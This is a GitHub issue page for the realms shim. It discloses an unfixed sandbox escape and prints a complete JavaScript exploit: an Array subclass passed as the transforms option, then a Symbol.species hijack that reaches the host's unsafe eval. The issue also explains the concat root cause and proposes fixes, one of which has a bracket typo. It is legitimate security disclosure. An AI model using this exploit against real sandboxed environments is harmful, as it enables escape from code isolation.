Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

transforms rely upon Array-ness of user-supplied argument #73

Open
warner opened this issue Oct 22, 2019 · 1 comment
Open

transforms rely upon Array-ness of user-supplied argument #73

warner opened this issue Oct 22, 2019 · 1 comment
Labels
security Relevant to security

Comments

@warner
Copy link
Member

warner commented Oct 22, 2019

Shortly after the 1.2.1 release, XmiliaH reported a new vulnerability in the shim. As explained in the blog post, we have stopped applying timely security fixes to the realms shim, so this represents an unfixed sandbox escape in the shim.

@XmiliaH's exploit looks like this:

let LastBadArray;
class BadArray extends Array {
     constructor() {
         super();
         LastBadArray = this;
     }
}
Realm.makeCompartment().evaluate('', undefined, {transforms: new
BadArray()});

const HostObject = LastBadArray[0].__proto__.constructor
// Elevate HostObject access to eval.
const HostArray = HostObject.keys({}).constructor;
let n = 0;
Object.defineProperty(HostArray, Symbol.species, {
     value: function() {
         if (n++ == 2) {
             return {
                 set length(value) {},
                 get length() {
                     this["0"] = 'x}=this;return ()=>eval;//';
                     return 1;
                 }
             };
         }
         return new HostArray();
     }
});
const Eval = (0, eval)('');
Eval

It works against the "fixed" 1.2.1 code, in which the user-supplied transforms option is combined with additional transforms, using concat:

  function factory(endowments = {}, options = {}) {
    const localTransforms = options.transforms || [];
    ...
    const mandatoryTransforms = [rejectDangerousSourcesTransform];
    const allTransforms = arrayConcat(
      localTransforms,
      realmTransforms,
      mandatoryTransforms
    );

The arrayConcat function is a safely-curried version of Array.prototype.concat, so it will behave as specified, but the official JavaScript specification has an interesting property: the type of the resulting Array is decided by the constructor of the first argument. Since the user's localTransforms appears first, it gets to be involved in the creation of the new Array. The attack uses this access to grab a reference to the host's Array object (which comes from the primal Realm). From there it climbs the prototype chain until it reaches the unsafe eval.

One fix is to supply a real Array for the first argument to concat:

    const allTransforms = arrayConcat(
      [],
      localTransforms,
      realmTransforms,
      mandatoryTransforms
    );

But a more-obviously-correct fix is to use an Array literal and the "spread operator" (...):

    const allTransforms = [
      ...localTransforms,
      ...realmTransforms,
      ...mandatoryTransforms
    );

This approach asks each argument for an iterator, but does not otherwise depend upon methods or types of the arguments.

@warner warner closed this as completed Oct 22, 2019
@warner warner changed the title placeholder 1 transforms rely upon Array-ness of user-supplied argument Oct 24, 2019
@warner warner added the security Relevant to security label Oct 24, 2019
@warner
Copy link
Member Author

warner commented Oct 24, 2019

This is currently unfixed.

@warner warner reopened this Oct 24, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
security Relevant to security
Projects
None yet
Development

No branches or pull requests

1 participant